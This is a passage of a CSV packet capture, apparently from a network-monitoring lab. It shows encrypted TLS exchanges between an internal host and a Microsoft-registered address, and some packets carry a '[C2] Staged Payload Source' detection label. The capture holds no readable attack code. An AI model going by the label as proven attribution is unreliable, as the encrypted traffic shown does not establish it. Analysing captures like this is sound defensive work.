data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\xf7\\\\x06\\\\xbd\\\\x9a\\\\x99\\\\x8b\\\\xa4Y\\\\xec\\\\xac\\\\x923\\\\xb1\\\\x13a\\\\t\\\\xfa\\\\t2h\\\\xbe\\\\xc7\\\\x8d'>\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 731, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\xf2\\\\x19zI\\\\x82\\\\x9d\\\\xffp\\\\xdc)\\\\x91\\\\xf7`\\\\xc7\\\\xa6\\\\xf1\\\\x03\\\\xb8 Y\\\\x08M>N\\\\x96\\\\xf5\\\\xa1\\\\x02hg\\\\xe9I\\\\xe8\\\\xe8|\\\\xa0\\\\xa6r\\\\xf8N\\\\xff\\\\xf0n\\\\x97\\\\xb7Iv\\\\'P\\\\x00_\\\\xbb\\\\xc4\\\\xcd]\\\\xc9\\\\x05\\\\xc3T1\\\\x8d\\\\x00\\\\xed\\\\xefZ\\\\xa0\\\\x07\\\\xfe\\\\x17AZEz\\\\x9e\\\\x12\\\\x94[\\\\x01Bd\\\\x87VxA \\\\xbb\\\\r\\\\x8e\\\\xba\\\\x8f\\\\xabGa\\\\x07{4\\\\x87Y\\\\x0e\\\\x89A\\\\x9b\\\\xd0s@F\\\\xb9\\\\xea^\\\\xceA\\\\t\\\\xec(\\\\x10\\\\xc3\\\\x86\\\\x90\\\\xa0\\\\x81\\\\xfd8x`B\\\"\"\\\\xbe\\\\x1e`\\\\xde\\\\x97i\\\\xf4\\\\xbd\\\\x14.N\\\\xa0>\\\\x04\\\\xae\\\\x9b\\\\x84k\\\\xe5\\\\x02e\\\\xba\\\\xdd-\\\\xf6\\\\\\\\\\\\xa7\\\\xc4\\\\x1d\\\\xaf\\\\xb0\\\\xcb\\\\x0f\\\\xa7w\\\\x05;Zs\\\\x13`Z\\\\x17I\\\\x98\\\\xd8\\\\xa3\\\\xbc\\\\x9d\\\\x9c\\\\xe4\\\\x8a\\\\xaaW\\\\xf2\\\\xb0\\\\xa0|\\\\xc2;\\\\xc6\\\\xcb\\\\x1dk\\\\x83@q\\\\xad\\\\xee\\\\xe6\\\\x1cD\\\\x92|\\\\x12\\\\x0cR\\\\x9b\\\\xc2T\\\\xdc\\\\xc5H\\\\xb65\\\\xabs\\\\xf2\\\\xed\\\\xc0j\\\\xbee\\\\x1b\\\\x14\\\\xddZ\\\\x8a\\\\x7f\\\\xbd\\\\x9eL\\\\xcc.\\\\xa5\\\\xbd}}\\\\xbd\\\\xf29\\\\n\\\\x91W\\\\xf8\\\\xa9L\\\\x86\\\\xe7\\\\x0c\\\\xe8Qy\\\\xd3S\\\\xde\\\\xe9\\\\x85\\\\xb1*s\\\\xfe\\\\x0f\\\\xb9\\\\xa5\\\\xfaS\\\\xf5\\\\xb9\\\\xa9\\\\xb5/\\\\x1d\\\\x93\\\\x1a\\\\xf6\\\\xec\\\\x187X\\\\xb0@\\\\xcf\\\\x19x\\\\xe2!\\\\xa1\\\\xe6\\\\x11@\\\\xd9\\\\x7f\\\\xc66s\\\\xcd$\\\\xec\\\\n1X\\\\xc6\\\\xadp\\\\x80!\\\\xfbWo\\\\x18\\\\t\\\\xf5\\\\xbb\\\\xf9\\\\x13\\\\xe44\\\\xe9\\\\x12#\\\\xcc\\\\x9c\\\\xacU!$\\\\x85\\\\x02Z^@\\\\xa2\\\\x0e\\\\xe1|\\\\x92<Cf\\\\xa3\\\\xe8\\\\x08\\\\xb2\\\\x80\\\\xe2\\\\xb2K,\\\\x87\\\\xdb\\\\xb0~g\\\\x1d\\\\xbe.\\\\x0cm\\\\x8e\\\\x8b}\\\\xa0\\\\xaa-^\\\\x8f\\\\xb7+\\\\xd4\\\\n\\\\x04\\\\x86\\\\xce\\\\r\\\\x115\\\\xdb\\\\xe7\\\\xb0\\\\\\\\\\\\x0fh\\\\xd2)`\\\\xea\\\\x08\\\\xd2\\\\xa3\\\\xd7sfw\\\\xad\\\\xd1W\\\\xc9\\\\x85hI \\\\xe2\\\\xd8N\\\\x1e\\\\xcb\\\\xed\\\\xd7\\\\x03\\\\x13\\\\x83z\\\\x1e\\\\x16;Z\\\\xb8\\\\xb8\\\\x969I\\\\x19\\\\x14\\\\x7f\\\\xea\\\\xd9\\\\x042\\\\xba\\\\xf7\\\\x9a6_k\\\\x18\\\\x19u\\\\x08\\\\xfd_\\\\x96X\\\\xd6\\\\x9f\\\\x8dM\\\\x1c*~\\\\x93Nq\\\\xdd\\\\x8aG\\\\xe3\\\\x19\\\\x8b3\\\\x06\\\\x86\\\\xff\\\\x7f\\\\\\\\\\\\xcf#\\\\x80\\\\xa0\\\\x05C\\\\x18|E\\\\xf6\\\\x1b\\\\xe1w\\\"\"\\\\x19\\\\xb8@L\\\\xc9\\\\xfd \\\\xfc\\\\x13\\\\xf1\\\\xbb\\\\xb1w{\\\\x8e\\\\x9a\\\\\\\\\\\\xb2g\\\\xa0\\\\x03\\\\xed\\\\xaf\\\\x97*\\\\xba\\\\x989\\\\x9a>\\\\x8eT\\\\xf0\\\\x82\\\\x1f\\\\xaa;iA\\\\xdc\\\\x17\\\\x11\\\\xc66rmzN\\\\xa67\\\\x88\\\\xb3\\\\x93_\\\\x84bu\\\\x1c*\\\\x07`;Va\\\\xb2)l\\\\xb6\\\\xa2\\\\x8d6\\\\xb7\\\\t\\\\xa8\\\\xc6\\\\x8c\\\\xe8\\\\x81\\\\x0b\\\\xdf\\\\xba\\\\xff!\\\\xf4\\\\n\\\\xd8j\\\\xa2\\\\xfa\\\\xb8y\\\\xe0f\\\\x13&\\\\xe2\\\\x01\\\\xed:\\\\x08c\\\\x01\\\\xb2`\\\\xcc\\\\xc2p_[\\\\xe5\\\\xde]\\\\xfe\\\\x0bxT\\\\x13\\\\x8c\\\\xa6\\\\x87\\\\xc7t\\\\x15\\\\xa1Ax\\\\xe2\\\\x18w\\\\xe0\\\\x1fK\\\\xa1`\\\\x12[%\\\\xbf\\\\x1e\\\\xfe{\\\\x9f\\\\xa0\\\\x95\\\\x8a\\\\'\\\\x89u\\\\xbb\\\\xd7\\\\x0fz*\\\\x1a\\\\x83\\\\x87\\\\x82\\\\xe9H\\\\xb4$]J\\\\xd8\\\\x0c_\\\\x8d\\\\xe8\\\\xf5\\\\xad\\\\xbc\\\\x0e\\\\xac\\\\xc9\\\\xa4\\\\xe3\\\\xdc7\\\\xca`L\\\\xa1}5\\\\xc3\\\\xf2\\\\x93_\\\\xc7#\\\\x1f\\\\xef\\\\xd1v\\\\xab\\\\t\\\\x93\\\\x03\\\\x87m\\\\xa8`<v\\\\xcfB\\\\xf3\\\\x8f\\\\xd3\\\\xfd\\\\x95\\\\xc0\\\\xe3\\\\xe1qX\\\\xd2\\\\x9a\\\\x83\\\\x17L\\\\x0eD\\\\xda\\\\x0c\\\\xea\\\\x9c\\\\xb4\\\\x84i@\\\\xed\\\\x91\\\\x8b\\\\xb8\\\\xcfG\\\\xd3\\\\xa7\\\\xd5E\\\\xea\\\\xa6\\\\xa0\\\\xb6\\\\xb0\\\\x1d.' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 210, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\x0b\\\\xf3eq\\\\xe49\\\\xc6\\\\xabo\\\\x92-G\\\\x92\\\\xda\\\\xd8\\\\x9c\\\\xfbB\\\\xff\\\\xf1\\\\x7f\\\\xfc\\\\xdb\\\\x9fo<\\\\n/uK\\\\x16\\\\x81\\\\x04\\\\x9a\\\\xf0To\\\\xde\\\\xb4\\\\x8e!Za\\\\xcc\\\\xbe\\\\xc4+M\\\\xbe\\\\xcf\\\\xb5\\\\xa2\\\\xe2\\\\x89Z\\\\xda\\\\x82\\\\xf3\\\\xf8}\\\\xad\\\\xe4#=\\\\xbd\\\\x0ei\\\\x1c\\\\xe8P\\\\xf4\\\\x94\\\\x87b\\\\xc2\\\\xc9\\\\x8cjo\\\\x8d\\\\xb3\\\\xfan\\\\x9d\\\\xd6\\\\xddA\\\\xce\\\\x1c#\\\\xdc}\\\\xf0\\\\xb5e\\\\xd9A\\\\xb03q{\\\\x86N\\\\xea\\\\xf5\\\\xd9\\\\x93\\\\x92n-\\\\xb0\\\\x82R%\\\\xcd\\\\thq\\\\xc5\\\\x0c\\\\x0f?\\\\x1c!\\\\xec\\\\xff{\\\\xe1\\\\x1a\\\\x11K\\\\xac\\\\x1d\\\\x99?\\\\xe4\\\\xd5*f\\\\xefXilPO;\\\\xf4\\\\x88F\\\\xb9.\\\\x98\\\\xd8v;Iv=$n\\\\x01\\\\xede\\\\x06\\\\xc0\\\\xb1\\\\x824c'\\\\xd9\\\\xa7\\\\n4[1\\\\x96\\\\x0eS*\\\\x01\\\\x13\\\\x19\\\\xec`S\\\\xff\\\\x8d\\\\xe9\\\\x04\\\\xca\\\\x8c\\\\xbbE\\\\xa6\\\\xd6\\\\xdcj\\\\x1aCN\\\\x13\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05`\\\\xc6\\\\x83\\\\xefD\\\\xf6~\\\\x15\\\\xea\\\\xde\\\\xe56Zju\\\\x0e\\\\x163\\\\x80\\\\x01\\\\xed\\\\xd4\\\\xfd%\\\\xc4' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:51.421753,78,TCP 10.152.152.11:63993 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,63993,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1686838790 Ack=3062737329,bc24112907bbbc2411360d0c080045000028f1df400080062dae0a98980b2862103df9f901bb648b1e06b68da9b150100400f20c0000,\".$.)...$.6\n...E..(..@...-.\n...(b.=....d.......P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61919, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11694, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63993, \"\"dport\"\": 443, \"\"seq\"\": 1686838790, \"\"ack\"\": 3062737329, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 61964, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:51.422459,79,TCP 10.152.152.11:63993 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,63993,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1686838790 Ack=3062737329,bc24112907bbbc2411360d0c080045000068f1e0400080062d6d0a98980b2862103df9f901bb648b1e06b68da9b15018040054710000170303003b0000000000000004fe35ecc2fa68d9f7b529198b3b20fdc4aad033ac6026ad5b1f28a93691dff93e5d243380f858c74e32cc08ec6e964b3f99f96a,\".$.)...$.6\n...E..h..@...-m\n...(b.=....d.......P...Tq......;.........5...h...)..; ....3.`&.[.(.6...>]$3..X.N2...n.K?..j\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 104, \"\"id\"\": 61920, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11629, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63993, \"\"dport\"\": 443, \"\"seq\"\": 1686838790, \"\"ack\"\": 3062737329, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 21617, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\xfe5\\\\xec\\\\xc2\\\\xfah\\\\xd9\\\\xf7\\\\xb5)\\\\x19\\\\x8b; \\\\xfd\\\\xc4\\\\xaa\\\\xd03\\\\xac`&\\\\xad[\\\\x1f(\\\\xa96\\\\x91\\\\xdf\\\\xf9>]$3\\\\x80\\\\xf8X\\\\xc7N2\\\\xcc\\\\x08\\\\xecn\\\\x96K?\\\\x99\\\\xf9j' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:51.422468,80,TCP 40.98.16.61:443 -> 10.152.152.11:63993,40.98.16.61,10.152.152.11,443,63993,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062737329 Ack=1686838854,bc2411360d0cbc24112907bb0800450000283f1340004006207b2862103d0a98980b01bbf9f9b68da9b1648b1e465010003fdb5c0000,\".$.6\n..$.)....E..(?.@.@. {(b.=\n...........d..FP..?.\\..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 16147, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 8315, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63993, \"\"seq\"\": 3062737329, \"\"ack\"\": 1686838854, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56156, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:52.095815,81,TCP 40.98.16.61:443 -> 10.152.152.11:63993,40.98.16.61,10.152.152.11,443,63993,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3062737329 Ack=1686838854,bc2411360d0cbc24112907bb0800450002bb3f14400040061de72862103d0a98980b01bbf9f9b68da9b1648b1e465018003fddef0000170303028e00000000000000062de6e0cb0f0c218fb3579a7b345a977cbcdeeb25b642ffda4962a6443b1c955a8eff7340adf73070037236fd81fff727d07b5dc342227109d74844043e37636050161340175dc827709c522ffbe2c5b1e99b52903f2ff6de3ba148d1e19a00094af38e8f8e22a8aa406741bb0a80fd6466b8f1b0b4bae945bac33bbb1e35ff9c6b6724f7d7d1cb7273aa32b1c33a9e7e42acccae5b849e6a39ee3dcfe852c74ec6249d0c7dfc1d86c0bdff26785728e17d4628be99791a4c54870dec29a11d93d56ffbccd02fbab983d7ffd18d35f5d00de4d4a961d78f02c8af1d56161dc59062cb643435f19289939c359e6cbbe3bf67758f2e0b07b5f3571d02a15bdbe7d4966da76d465674433058572e1cf69b13ddc9a448ecbdacf1fa191e7b44fc54086ae6f30cdd914727be43dc189b06474fcb6c73a536122857548f2ee1f24c6100ebc8363b32c05fd4cf7f5a94b67cf244a737b25e58183da2cfd5641590b9eca3f2d72dfbce62f5bac839700cee33e9450cfe5446540cedc3e6952b62e4d3caa45939de31faed391dc28d3dae24bca257962fbcdfdd13bea9172348d52e02783b949e2d80453777a92c37dc78bbf32192169d2b599d076b666c71587403677e8846a0bafdbc0b2eb1c2a56414f5cf8a4bc61e6094730d60622b5472ae2c392ab0a2a9fa6b03d63138861845723feffdb58e457ddfb7f5750e0df48ab5d1c4c68024ca936d431638c19833b4191dda147e3fb128ce904dd4aa2067050cfc63776d850d5ccdfd2e1440d511755a685facec6d40b8a8e7a9a98e2f2105563245e8065a5d3995d2d8961373763577e34cf6e7e5491bfdeb9f71354d31c59cf50e3dd105b4c9aabde54e9298c4677382c04345813909f0ff90cc295475b20f051484081520a9da894d,\".$.6\n..$.)....E...?.@.@...(b.=\n...........d..FP..?.................-.....!..W.{4Z.|...%.B..Ib.D;..Z..s@..0p.r6....'.{].B\"\"q\t.HD.>7c`P..@.].'p.R/......R.?/..;.H....\tJ....\"\"..@gA.\n..df......E..;..5..kg$....rs.2..:.~B...[..j9.=..R.N.$..}......&xW(.}F(..y.LT.\n.)....o.../.......5..\n...a......V....b.d45.....5.l...gu......W...[....m.mFVtC0XW........H.......{D.T.j.....G'.C....GO.ls.6.(WT....La...6;2._...Z..|.D.7.^X.=...d.......-..b...9p..3.E..TFT.....+b....Y9.1..9...=.$..W./.......#H...x;..-.E7w.,7.x..!...+Y..kflqXt.g~.F.........d....K..`.s\n`b+Tr.,9*....k..18..Er?....E}...u.\n.......$..mC.8..3.....~?.(..M.. g...cwm.\n\\....@..uZh_..m@....../!.V2E..Z]9.....sv5w.L...I....q5M1....=.......N...gs..CE.9\t....)Tu....... ...M\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 699, \"\"id\"\": 16148, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 7655, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63993, \"\"seq\"\": 3062737329, \"\"ack\"\": 1686838854, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 56815, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 654, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x06-\\\\xe6\\\\xe0\\\\xcb\\\\x0f\\\\x0c!\\\\x8f\\\\xb3W\\\\x9a{4Z\\\\x97|\\\\xbc\\\\xde\\\\xeb%\\\\xb6B\\\\xff\\\\xdaIb\\\\xa6D;\\\\x1c\\\\x95Z\\\\x8e\\\\xffs@\\\\xad\\\\xf70p\\\\x03r6\\\\xfd\\\\x81\\\\xff\\\\xf7\\\\'\\\\xd0{]\\\\xc3B\\\"\"q\\\\t\\\\xd7HD\\\\x04>7c`P\\\\x16\\\\x13@\\\\x17]\\\\xc8\\\\'p\\\\x9cR/\\\\xfb\\\\xe2\\\\xc5\\\\xb1\\\\xe9\\\\x9bR\\\\x90?/\\\\xf6\\\\xde;\\\\xa1H\\\\xd1\\\\xe1\\\\x9a\\\\x00\\\\tJ\\\\xf3\\\\x8e\\\\x8f\\\\x8e\\\"\"\\\\xa8\\\\xaa@gA\\\\xbb\\\\n\\\\x80\\\\xfddf\\\\xb8\\\\xf1\\\\xb0\\\\xb4\\\\xba\\\\xe9E\\\\xba\\\\xc3;\\\\xbb\\\\x1e5\\\\xff\\\\x9ckg$\\\\xf7\\\\xd7\\\\xd1\\\\xcbrs\\\\xaa2\\\\xb1\\\\xc3:\\\\x9e~B\\\\xac\\\\xcc\\\\xae[\\\\x84\\\\x9ej9\\\\xee=\\\\xcf\\\\xe8R\\\\xc7N\\\\xc6$\\\\x9d\\\\x0c}\\\\xfc\\\\x1d\\\\x86\\\\xc0\\\\xbd\\\\xff&xW(\\\\xe1}F(\\\\xbe\\\\x99y\\\\x1aLT\\\\x87\\\\r\\\\xec)\\\\xa1\\\\x1d\\\\x93\\\\xd5o\\\\xfb\\\\xcc\\\\xd0/\\\\xba\\\\xb9\\\\x83\\\\xd7\\\\xff\\\\xd1\\\\x8d5\\\\xf5\\\\xd0\\\\r\\\\xe4\\\\xd4\\\\xa9a\\\\xd7\\\\x8f\\\\x02\\\\xc8\\\\xaf\\\\x1dV\\\\x16\\\\x1d\\\\xc5\\\\x90b\\\\xcbd45\\\\xf1\\\\x92\\\\x89\\\\x93\\\\x9c5\\\\x9el\\\\xbb\\\\xe3\\\\xbfgu\\\\x8f.\\\\x0b\\\\x07\\\\xb5\\\\xf3W\\\\x1d\\\\x02\\\\xa1[\\\\xdb\\\\xe7\\\\xd4\\\\x96m\\\\xa7mFVtC0XW.\\\\x1c\\\\xf6\\\\x9b\\\\x13\\\\xdd\\\\xc9\\\\xa4H\\\\xec\\\\xbd\\\\xac\\\\xf1\\\\xfa\\\\x19\\\\x1e{D\\\\xfcT\\\\x08j\\\\xe6\\\\xf3\\\\x0c\\\\xdd\\\\x91G\\\\'\\\\xbeC\\\\xdc\\\\x18\\\\x9b\\\\x06GO\\\\xcbls\\\\xa56\\\\x12(WT\\\\x8f.\\\\xe1\\\\xf2La\\\\x00\\\\xeb\\\\xc86;2\\\\xc0_\\\\xd4\\\\xcf\\\\x7fZ\\\\x94\\\\xb6|\\\\xf2D\\\\xa77\\\\xb2^X\\\\x18=\\\\xa2\\\\xcf\\\\xd5d\\\\x15\\\\x90\\\\xb9\\\\xec\\\\xa3\\\\xf2\\\\xd7-\\\\xfb\\\\xceb\\\\xf5\\\\xba\\\\xc89p\\\\x0c\\\\xee3\\\\xe9E\\\\x0c\\\\xfeTFT\\\\x0c\\\\xed\\\\xc3\\\\xe6\\\\x95+b\\\\xe4\\\\xd3\\\\xca\\\\xa4Y9\\\\xde1\\\\xfa\\\\xed9\\\\x1d\\\\xc2\\\\x8d=\\\\xae$\\\\xbc\\\\xa2W\\\\x96/\\\\xbc\\\\xdf\\\\xdd\\\\x13\\\\xbe\\\\xa9\\\\x17#H\\\\xd5.\\\\x02x;\\\\x94\\\\x9e-\\\\x80E7w\\\\xa9,7\\\\xdcx\\\\xbb\\\\xf3!\\\\x92\\\\x16\\\\x9d+Y\\\\x9d\\\\x07kflqXt\\\\x03g~\\\\x88F\\\\xa0\\\\xba\\\\xfd\\\\xbc\\\\x0b.\\\\xb1\\\\xc2\\\\xa5d\\\\x14\\\\xf5\\\\xcf\\\\x8aK\\\\xc6\\\\x1e`\\\\x94s\\\\r`b+Tr\\\\xae,9*\\\\xb0\\\\xa2\\\\xa9\\\\xfak\\\\x03\\\\xd618\\\\x86\\\\x18Er?\\\\xef\\\\xfd\\\\xb5\\\\x8eE}\\\\xdf\\\\xb7\\\\xf5u\\\\x0e\\\\r\\\\xf4\\\\x8a\\\\xb5\\\\xd1\\\\xc4\\\\xc6\\\\x80$\\\\xca\\\\x93mC\\\\x168\\\\xc1\\\\x983\\\\xb4\\\\x19\\\\x1d\\\\xda\\\\x14~?\\\\xb1(\\\\xce\\\\x90M\\\\xd4\\\\xaa g\\\\x05\\\\x0c\\\\xfccwm\\\\x85\\\\r\\\\\\\\\\\\xcd\\\\xfd.\\\\x14@\\\\xd5\\\\x11uZh_\\\\xac\\\\xecm@\\\\xb8\\\\xa8\\\\xe7\\\\xa9\\\\xa9\\\\x8e/!\\\\x05V2E\\\\xe8\\\\x06Z]9\\\\x95\\\\xd2\\\\xd8\\\\x96\\\\x13sv5w\\\\xe3L\\\\xf6\\\\xe7\\\\xe5I\\\\x1b\\\\xfd\\\\xeb\\\\x9fq5M1\\\\xc5\\\\x9c\\\\xf5\\\\x0e=\\\\xd1\\\\x05\\\\xb4\\\\xc9\\\\xaa\\\\xbd\\\\xe5N\\\\x92\\\\x98\\\\xc4gs\\\\x82\\\\xc0CE\\\\x819\\\\t\\\\xf0\\\\xff\\\\x90\\\\xcc)Tu\\\\xb2\\\\x0f\\\\x05\\\\x14\\\\x84\\\\x08\\\\x15 \\\\xa9\\\\xda\\\\x89M' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:52.096158,82,TCP 10.152.152.11:63993 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,63993,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1686838854 Ack=3062737988,bc24112907bbbc2411360d0c080045000028f1e1400080062dac0a98980b2862103df9f901bb648b1e46b68dac44501003fdef3c0000,\".$.)...$.6\n...E..(..@...-.\n...(b.=....d..F...DP....<..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61921, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11692, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63993, \"\"dport\"\": 443, \"\"seq\"\": 1686838854, \"\"ack\"\": 3062737988, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1021, \"\"chksum\"\": 61244, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:52.100373,83,TCP 10.152.152.11:63993 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,63993,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1686838854 Ack=3062737988,bc24112907bbbc2411360d0c08004500006ef1e2400080062d650a98980b2862103df9f901bb648b1e46b68dac44501803fda3d8000017030300410000000000000005d79a8160d5869668a6f16bef7b7865955b19fd23198492dc7890300f28ccbf25fa05501689f2dc6e9edbe058676236fa1c66db7efd774875b9,\".$.)...$.6\n...E..n..@...-e\n...(b.=....d..F...DP...........A...........`...h..k.{xe.[..#....x.0.(..%..P....n...Xgb6..f.~.wHu.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 110, \"\"id\"\": 61922, \"\"flags\"\": \"\"DF\"\", 